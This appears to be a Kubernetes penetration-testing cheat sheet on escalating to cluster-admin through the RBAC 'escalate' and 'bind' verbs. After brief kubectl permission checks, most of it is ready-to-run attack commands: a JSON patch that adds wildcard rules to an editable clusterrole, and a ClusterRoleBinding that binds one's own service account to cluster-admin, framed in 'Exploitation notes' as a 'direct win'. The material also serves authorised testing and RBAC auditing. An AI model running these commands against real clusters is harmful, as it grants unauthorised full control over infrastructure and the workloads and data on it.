RBAC has a built-in anti-escalation rule: to create or update a role, you must already hold every permission that role grants, and to create a binding you must hold the permissions in the referenced role. Two verbs deliberately bypass this. The escalate verb on roles/clusterroles lets you write a role with permissions beyond your own, and the bind verb on rolebindings/clusterrolebindings lets you bind a subject to a role whose permissions you do not hold. Either one defeats the containment and reaches cluster admin.
Check for them:
kubectl auth can-i escalate clusterroles
kubectl auth can-i bind clusterroles
kubectl auth can-i update clusterroles # update also allows rewriting a role you can edit
Route: escalate to rewrite a role#
# with escalate, add cluster-admin-level rules to a role you can write,
# then ensure your identity is bound to it
kubectl patch clusterrole <role-you-can-edit> --type=json -p='[{"op":"add","path":"/rules/-",
"value":{"apiGroups":["*"],"resources":["*"],"verbs":["*"]}}]'
Route: bind yourself to cluster-admin#
# with bind, bind your service account directly to the built-in cluster-admin
cat <<YAML | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata: { name: x }
roleRef: { apiGroup: rbac.authorization.k8s.io, kind: ClusterRole, name: cluster-admin }
subjects:
- { kind: ServiceAccount, name: <my-sa>, namespace: <my-ns> }
YAML
# then act with the now-admin identity
kubectl auth can-i '*' '*'
Exploitation notes#
bindto the pre-existingcluster-adminClusterRole is the cleanest path: you never author new permissions, you only reference an admin role that already exists, so the only gate is thebindverb.escalateis used when no suitable admin role exists to bind, or when you can already edit a role that is bound to you; it lets you write the permissions directly.- These verbs are rare in well-run clusters precisely because they are escalation by design; finding either in
auth can-i --listis a direct win.